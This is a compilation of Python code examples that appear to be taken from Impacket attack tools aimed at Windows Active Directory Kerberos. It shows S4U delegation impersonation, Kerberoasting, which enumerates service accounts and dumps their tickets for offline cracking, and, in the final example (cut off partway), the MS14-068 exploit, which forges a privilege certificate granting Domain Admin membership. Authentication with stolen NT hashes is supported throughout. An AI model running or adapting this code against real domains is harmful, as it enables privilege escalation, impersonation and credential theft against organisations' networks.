Example #1
0
    def run(self):

        # Do we have a TGT cached?
        tgt = None
        try:
            ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
            principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper())
            creds = ccache.getCredential(principal)
            if creds is not None:
                # ToDo: Check this TGT belogns to the right principal
                TGT = creds.toTGT()
                tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
                oldSessionKey = sessionKey
                logging.info('Using TGT from cache')
            else:
                logging.debug("No valid credentials found in cache. ")
        except:
            # No cache present
            pass

        if tgt is None:
            # Still no TGT
            userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            logging.info('Getting TGT for user')
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                    unhexlify(self.__lmhash), unhexlify(self.__nthash),
                                                                    self.__aesKey,
                                                                    self.__kdcHost)

        # Ok, we have valid TGT, let's try to get a service ticket
        if self.__options.impersonate is None:
            # Normal TGS interaction
            logging.info('Getting ST for user')
            serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)
            self.__saveFileName = self.__user
        else:
            # Here's the rock'n'roll
            try:
                logging.info('Impersonating %s' % self.__options.impersonate)
                tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, self.__kdcHost)
            except Exception as e:
                logging.debug("Exception", exc_info=True)
                logging.error(str(e))
                if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
                    logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)
                if str(e).find('KDC_ERR_BADOPTION') >= 0:
                    logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)

                return
            self.__saveFileName = self.__options.impersonate

        self.saveTicket(tgs,oldSessionKey)
Example #2
0
    def LDAP3KerberosLogin(self,
                           connection,
                           user,
                           password,
                           domain='',
                           lmhash='',
                           nthash='',
                           aesKey='',
                           kdcHost=None,
                           TGT=None,
                           TGS=None,
                           useCache=True):
        from pyasn1.codec.ber import encoder, decoder
        from pyasn1.type.univ import noValue
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: True, raises an Exception if error.
        """

        if lmhash != '' or nthash != '':
            if len(lmhash) % 2:
                lmhash = '0' + lmhash
            if len(nthash) % 2:
                nthash = '0' + nthash
            try:  # just in case they were converted already
                lmhash = unhexlify(lmhash)
                nthash = unhexlify(nthash)
            except TypeError:
                pass

        # Importing down here so pyasn1 is not required if kerberos is not used.
        from impacket.krb5.ccache import CCache
        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
        from impacket.krb5 import constants
        from impacket.krb5.types import Principal, KerberosTime, Ticket
        import datetime

        if TGT is not None or TGS is not None:
            useCache = False

        if useCache:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except Exception as e:
                # No cache present
                print(e)
                pass
            else:
                # retrieve domain information from CCache file if needed
                if domain == '':
                    domain = ccache.principal.realm['data'].decode('utf-8')
                    logging.debug('Domain retrieved from CCache: %s' % domain)

                logging.debug('Using Kerberos Cache: %s' %
                              os.getenv('KRB5CCNAME'))
                principal = 'ldap/%s@%s' % (self.__target.upper(),
                                            domain.upper())

                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(),
                                                  domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        logging.debug('Using TGT from cache')
                    else:
                        logging.debug('No valid credentials found in cache')
                else:
                    TGS = creds.toTGS(principal)
                    logging.debug('Using TGS from cache')

                # retrieve user information from CCache file if needed
                if user == '' and creds is not None:
                    user = creds['client'].prettyPrint().split(b'@')[0].decode(
                        'utf-8')
                    logging.debug('Username retrieved from CCache: %s' % user)
                elif user == '' and len(ccache.principal.components) > 0:
                    user = ccache.principal.components[0]['data'].decode(
                        'utf-8')
                    logging.debug('Username retrieved from CCache: %s' % user)

        # First of all, we need to get a TGT for the user
        userName = Principal(
            user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        if TGT is None:
            if TGS is None:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                    userName, password, domain, lmhash, nthash, aesKey,
                    kdcHost)
        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        if TGS is None:
            serverName = Principal(
                'ldap/%s' % self.__target,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                serverName, domain, kdcHost, tgt, cipher, sessionKey)
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']

            # Let's build a NegTokenInit with a Kerberos REQ_AP

        blob = SPNEGO_NegTokenInit()

        # Kerberos
        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

        # Let's extract the ticket from the TGS
        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        # Now let's build the AP_REQ
        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = []
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = domain
        seq_set(authenticator, 'cname', userName.components_to_asn1)
        now = datetime.datetime.utcnow()

        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 11
        # AP-REQ Authenticator (includes application authenticator
        # subkey), encrypted with the application session key
        # (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
                                                       encodedAuthenticator,
                                                       None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        blob['MechToken'] = encoder.encode(apReq)

        request = ldap3.operation.bind.bind_operation(connection.version,
                                                      ldap3.SASL, user, None,
                                                      'GSS-SPNEGO',
                                                      blob.getData())

        # Done with the Kerberos saga, now let's get into LDAP
        # try to open connection if closed
        if connection.closed:
            connection.open(read_server_info=False)

        connection.sasl_in_progress = True
        response = connection.post_send_single_response(
            connection.send('bindRequest', request, None))
        connection.sasl_in_progress = False
        if response[0]['result'] != 0:
            raise Exception(response)

        connection.bound = True

        return True
Example #3
0
    def run(self):
        if self.__doKerberos:
            self.__target = self.getMachineName()
        else:
            if self.__kdcHost is not None:
                self.__target = self.__kdcHost
            else:
                self.__target = self.__domain

        # Connect to LDAP
        ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target,
                                             self.baseDN, self.__kdcHost)
        if self.__doKerberos is not True:
            ldapConnection.login(self.__username, self.__password,
                                 self.__domain, self.__lmhash, self.__nthash)
        else:
            ldapConnection.kerberosLogin(self.__username,
                                         self.__password,
                                         self.__domain,
                                         self.__lmhash,
                                         self.__nthash,
                                         self.__aesKey,
                                         kdcHost=self.__kdcHost)

        # Building the following filter:
        # (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))

        # (servicePrincipalName=*)
        and0 = ldapasn1.Filter()
        and0['present'] = ldapasn1.Present('servicePrincipalName')

        # (UserAccountControl:1.2.840.113556.1.4.803:=512)
        and1 = ldapasn1.Filter()
        and1['extensibleMatch'] = ldapasn1.MatchingRuleAssertion()
        and1['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId(
            '1.2.840.113556.1.4.803')
        and1['extensibleMatch']['type'] = ldapasn1.TypeDescription(
            'UserAccountControl')
        and1['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(
            UF_NORMAL_ACCOUNT)
        and1['extensibleMatch']['dnAttributes'] = False

        # !(UserAccountControl:1.2.840.113556.1.4.803:=2)
        and2 = ldapasn1.Not()
        and2['notFilter'] = ldapasn1.Filter()
        and2['notFilter']['extensibleMatch'] = ldapasn1.MatchingRuleAssertion()
        and2['notFilter']['extensibleMatch'][
            'matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803')
        and2['notFilter']['extensibleMatch'][
            'type'] = ldapasn1.TypeDescription('UserAccountControl')
        and2['notFilter']['extensibleMatch'][
            'matchValue'] = ldapasn1.matchValueAssertion(UF_ACCOUNTDISABLE)
        and2['notFilter']['extensibleMatch']['dnAttributes'] = False

        searchFilter = ldapasn1.Filter()
        searchFilter['and'] = ldapasn1.And()
        searchFilter['and'][0] = and0
        searchFilter['and'][1] = and1
        # searchFilter['and'][2] = and2
        # Exception here, setting verifyConstraints to False so pyasn1 doesn't warn about incompatible tags
        searchFilter['and'].setComponentByPosition(2,
                                                   and2,
                                                   verifyConstraints=False)

        resp = ldapConnection.search(searchFilter=searchFilter,
                                     attributes=[
                                         'servicePrincipalName',
                                         'sAMAccountName', 'pwdLastSet',
                                         'MemberOf', 'userAccountControl'
                                     ],
                                     sizeLimit=9999)
        answers = []
        logging.debug('Total of records returned %d' % len(resp))
        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            for attribute in item['attributes']:
                if attribute['type'] == 'sAMAccountName':
                    if str(attribute['vals'][0]).endswith('$') is False:
                        # User Account
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                elif attribute['type'] == 'userAccountControl':
                    userAccountControl = str(attribute['vals'][0])
                elif attribute['type'] == 'memberOf':
                    memberOf = str(attribute['vals'][0])
                elif attribute['type'] == 'pwdLastSet':
                    pwdLastSet = str(
                        datetime.fromtimestamp(
                            self.getUnixTime(int(str(attribute['vals'][0])))))
                elif attribute['type'] == 'servicePrincipalName':
                    for spn in attribute['vals']:
                        SPNs.append(str(spn))

            if mustCommit is True:
                if int(userAccountControl) & UF_ACCOUNTDISABLE:
                    logging.debug('Bypassing disabled account %s ' %
                                  sAMAccountName)
                else:
                    for spn in SPNs:
                        answers.append(
                            [spn, sAMAccountName, memberOf, pwdLastSet])

        if len(answers) > 0:
            self.printTable(answers,
                            header=[
                                "ServicePrincipalName", "Name", "MemberOf",
                                "PasswordLastSet"
                            ])
            print '\n\n'

            if self.__requestTGS is True:
                # Let's get unique user names an a SPN to request a TGS for
                users = dict((vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()
                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None
                for user, SPN in users.iteritems():
                    try:
                        serverName = Principal(
                            SPN,
                            type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                            serverName, self.__domain, self.__kdcHost,
                            TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'])
                        self.outputTGS(tgs, oldSessionKey, sessionKey, user,
                                       fd)
                    except Exception, e:
                        logging.error(str(e))
                if fd is not None:
                    fd.close()
Example #4
0
    def run(self):
        if self.__doKerberos:
            target = self.getMachineName()
        else:
            if self.__kdcHost is not None and self.__targetDomain == self.__domain:
                target = self.__kdcHost
            else:
                target = self.__targetDomain

        # Connect to LDAP
        try:
            ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost)
            if self.__doKerberos is not True:
                ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                             self.__aesKey, kdcHost=self.__kdcHost)
        except ldap.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost)
                if self.__doKerberos is not True:
                    ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
                else:
                    ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                                 self.__aesKey, kdcHost=self.__kdcHost)
            else:
                raise

        # Building the search filter
        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))"

        if self.__requestUser is not None:
            searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
        else:
            searchFilter += ')'

        try:
            resp = ldapConnection.search(searchFilter=searchFilter,
                                         attributes=['servicePrincipalName', 'sAMAccountName',
                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
                                         sizeLimit=999)
        except ldap.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                raise

        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName =  ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'servicePrincipalName':
                        for spn in attribute['vals']:
                            SPNs.append(str(spn))

                if mustCommit is True:
                    if int(userAccountControl) & UF_ACCOUNTDISABLE:
                        logging.debug('Bypassing disabled account %s ' % sAMAccountName)
                    else:
                        for spn in SPNs:
                            answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
            except Exception as e:
                logging.error('Skipping item, cannot process due to error %s' % str(e))
                pass

        if len(answers)>0:
            self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
            print('\n\n')

            if self.__requestTGS is True or self.__requestUser is not None:
                # Let's get unique user names and a SPN to request a TGS for
                users = dict( (vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()
                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None
                for user, SPN in users.items():
                    try:
                        serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
                                                                                self.__kdcHost,
                                                                                TGT['KDC_REP'], TGT['cipher'],
                                                                                TGT['sessionKey'])
                        self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
                    except Exception as e:
                        logging.debug("Exception:", exc_info=True)
                        logging.error('SPN: %s - %s' % (SPN,str(e)))
                if fd is not None:
                    fd.close()

        else:
            print("No entries found!")
Example #5
0
class MS14_068:
    # 6.1.  Unkeyed Checksums
    # Vulnerable DCs are accepting at least these unkeyed checksum types
    CRC_32  = 1
    RSA_MD4 = 2
    RSA_MD5 = 7
    class VALIDATION_INFO(TypeSerialization1):
        structure = (
            ('Data', PKERB_VALIDATION_INFO),
        )

    def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
                 copyFile=None, writeTGT=None, kdcHost=None):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__rid = 0
        self.__lmhash = ''
        self.__nthash = ''
        self.__target = target
        self.__targetIp = targetIp
        self.__kdcHost = None
        self.__copyFile = copyFile
        self.__command = command
        self.__writeTGT = writeTGT
        self.__domainSid = ''
        self.__forestSid = None
        self.__domainControllers = list()
        self.__kdcHost = kdcHost

        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')
            self.__lmhash = unhexlify(self.__lmhash)
            self.__nthash = unhexlify(self.__nthash)

    def getGoldenPAC(self, authTime):
        # Ok.. we need to build a PAC_TYPE with the following items

        # 1) KERB_VALIDATION_INFO
        aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))

        unixTime = getFileTime(aTime)

        kerbdata = KERB_VALIDATION_INFO()

        kerbdata['LogonTime']['dwLowDateTime']           = unixTime & 0xffffffff
        kerbdata['LogonTime']['dwHighDateTime']          = unixTime >>32

        # LogoffTime: A FILETIME structure that contains the time the client's logon 
        # session should expire. If the session should not expire, this structure 
        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime 
        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as 
        # an indicator of when to warn the user that the allowed time is due to expire.
        kerbdata['LogoffTime']['dwLowDateTime']          = 0xFFFFFFFF
        kerbdata['LogoffTime']['dwHighDateTime']         = 0x7FFFFFFF

        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user 
        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the 
        # client should not be logged off, this structure SHOULD have the dwHighDateTime 
        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. 
        # The Kerberos service ticket end time is a replacement for KickOffTime. 
        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of 
        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator 
        # of when the client should be forcibly disconnected.
        kerbdata['KickOffTime']['dwLowDateTime']         = 0xFFFFFFFF
        kerbdata['KickOffTime']['dwHighDateTime']        = 0x7FFFFFFF

        kerbdata['PasswordLastSet']['dwLowDateTime']     = 0
        kerbdata['PasswordLastSet']['dwHighDateTime']    = 0

        kerbdata['PasswordCanChange']['dwLowDateTime']   = 0
        kerbdata['PasswordCanChange']['dwHighDateTime']  = 0
        
        # PasswordMustChange: A FILETIME structure that contains the time at which
        # theclient's password expires. If the password will not expire, this 
        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the 
        # dwLowDateTime member set to 0xFFFFFFFF.
        kerbdata['PasswordMustChange']['dwLowDateTime']  = 0xFFFFFFFF
        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF

        kerbdata['EffectiveName']      = self.__username
        kerbdata['FullName']           = ''
        kerbdata['LogonScript']        = ''
        kerbdata['ProfilePath']        = ''
        kerbdata['HomeDirectory']      = ''
        kerbdata['HomeDirectoryDrive'] = ''
        kerbdata['LogonCount']         = 0
        kerbdata['BadPasswordCount']   = 0
        kerbdata['UserId']             = self.__rid
        kerbdata['PrimaryGroupId']     = 513
        
        # Our Golden Well-known groups! :)
        groups = (513, 512, 520, 518, 519)
        kerbdata['GroupCount']         = len(groups)

        for group in groups:
            groupMembership = GROUP_MEMBERSHIP()
            groupId = NDRULONG()
            groupId['Data'] = group
            groupMembership['RelativeId'] = groupId
            groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
            kerbdata['GroupIds'].append(groupMembership)

        kerbdata['UserFlags']         = 0
        kerbdata['UserSessionKey']    = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        kerbdata['LogonServer']       = ''
        kerbdata['LogonDomainName']   = self.__domain
        kerbdata['LogonDomainId']     = self.__domainSid
        kerbdata['LMKey']             = '\x00\x00\x00\x00\x00\x00\x00\x00'
        kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
        kerbdata['SubAuthStatus']     = 0
        kerbdata['LastSuccessfulILogon']['dwLowDateTime']  = 0
        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
        kerbdata['LastFailedILogon']['dwLowDateTime']      = 0
        kerbdata['LastFailedILogon']['dwHighDateTime']     = 0
        kerbdata['FailedILogonCount'] = 0
        kerbdata['Reserved3']         = 0

        # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is 
        # asserted by an authentication authority based on proof of possession of client credentials.
        #extraSids = ('S-1-18-1',)
        if self.__forestSid is not None:
            extraSids = ('%s-%s' % (self.__forestSid, '519'),)
            kerbdata['SidCount']          = len(extraSids)
            kerbdata['UserFlags'] |= 0x20
        else:
            extraSids = ()
            kerbdata['SidCount']          = len(extraSids)
        
        for extraSid in extraSids:
            sidRecord = KERB_SID_AND_ATTRIBUTES()
            sid = RPC_SID()
            sid.fromCanonical(extraSid)
            sidRecord['Sid'] = sid
            sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
            kerbdata['ExtraSids'].append(sidRecord)

        kerbdata['ResourceGroupDomainSid'] = NULL
        kerbdata['ResourceGroupCount'] = 0
        kerbdata['ResourceGroupIds'] = NULL
            
        validationInfo = self.VALIDATION_INFO()
        validationInfo['Data'] = kerbdata

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('VALIDATION_INFO')
            validationInfo.dump()
            print ('\n')

        validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
        validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob))

        # 2) PAC_CLIENT_INFO
        pacClientInfo = PAC_CLIENT_INFO()
        pacClientInfo['ClientId'] = unixTime
        try:
            name = self.__username.encode('utf-16le')
        except UnicodeDecodeError:
            import sys
            name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
        pacClientInfo['NameLength'] = len(name)
        pacClientInfo['Name'] = name
        pacClientInfoBlob = str(pacClientInfo)
        pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob))

        # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
        serverChecksum = PAC_SIGNATURE_DATA()

        # If you wanna do CRC32, uncomment this
        #serverChecksum['SignatureType'] = self.CRC_32
        #serverChecksum['Signature'] = '\x00'*4

        # If you wanna do MD4, uncomment this
        #serverChecksum['SignatureType'] = self.RSA_MD4
        #serverChecksum['Signature'] = '\x00'*16

        # If you wanna do MD5, uncomment this
        serverChecksum['SignatureType'] = self.RSA_MD5
        serverChecksum['Signature'] = '\x00'*16

        serverChecksumBlob = str(serverChecksum)
        serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob))

        # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
        privSvrChecksum = PAC_SIGNATURE_DATA()

        # If you wanna do CRC32, uncomment this
        #privSvrChecksum['SignatureType'] = self.CRC_32
        #privSvrChecksum['Signature'] = '\x00'*4

        # If you wanna do MD4, uncomment this
        #privSvrChecksum['SignatureType'] = self.RSA_MD4
        #privSvrChecksum['Signature'] = '\x00'*16

        # If you wanna do MD5, uncomment this
        privSvrChecksum['SignatureType'] = self.RSA_MD5
        privSvrChecksum['Signature'] = '\x00'*16

        privSvrChecksumBlob = str(privSvrChecksum)
        privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob))

        # The offset are set from the beginning of the PAC_TYPE
        # [MS-PAC] 2.4 PAC_INFO_BUFFER
        offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4

        # Let's build the PAC_INFO_BUFFER for each one of the elements
        validationInfoIB = PAC_INFO_BUFFER()
        validationInfoIB['ulType'] = PAC_LOGON_INFO
        validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)
        validationInfoIB['Offset'] = offsetData
        offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8

        pacClientInfoIB = PAC_INFO_BUFFER()
        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
        pacClientInfoIB['Offset'] = offsetData
        offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8

        serverChecksumIB = PAC_INFO_BUFFER()
        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
        serverChecksumIB['Offset'] = offsetData
        offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8

        privSvrChecksumIB = PAC_INFO_BUFFER()
        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
        privSvrChecksumIB['Offset'] = offsetData
        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8

        # Building the PAC_TYPE as specified in [MS-PAC]
        buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
            privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
            pacClientInfo) + pacClientInfoAlignment
        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment

        pacType = PACTYPE()
        pacType['cBuffers'] = 4
        pacType['Version'] = 0
        pacType['Buffers'] = buffers + buffersTail

        blobToChecksum = str(pacType)

        # If you want to do CRC-32, ucomment this
        #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
        #privSvrChecksum['Signature'] =  struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)

        # If you want to do MD4, ucomment this
        #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
        #privSvrChecksum['Signature'] =  MD4.new(serverChecksum['Signature']).digest()

        # If you want to do MD5, ucomment this
        serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
        privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() 

        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
        pacType['Buffers'] = buffers + buffersTail

        authorizationData = AuthorizationData()
        authorizationData[0] = None
        authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
        authorizationData[0]['ad-data'] = str(pacType)
        return encoder.encode(authorizationData)

    def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
        # Get out Golden PAC
        goldenPAC = self.getGoldenPAC(authTime)

        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
        ifRelevant = AD_IF_RELEVANT()
        ifRelevant[0] = None
        ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
        ifRelevant[0]['ad-data'] = goldenPAC

        encodedIfRelevant = encoder.encode(ifRelevant)

        # Key Usage 4
        # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
        # the TGS session key (Section 5.4.1)
        encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)

        tgsReq = TGS_REQ()
        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append( constants.KDCOptions.forwardable.value )
        opts.append( constants.KDCOptions.renewable.value )
        opts.append( constants.KDCOptions.proxiable.value )

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = str(decodedTGT['crealm'])

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.SystemRandom().getrandbits(31)
        seq_set_iter(reqBody, 'etype', (cipher.enctype,))
        reqBody['enc-authorization-data'] = None
        reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
        reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
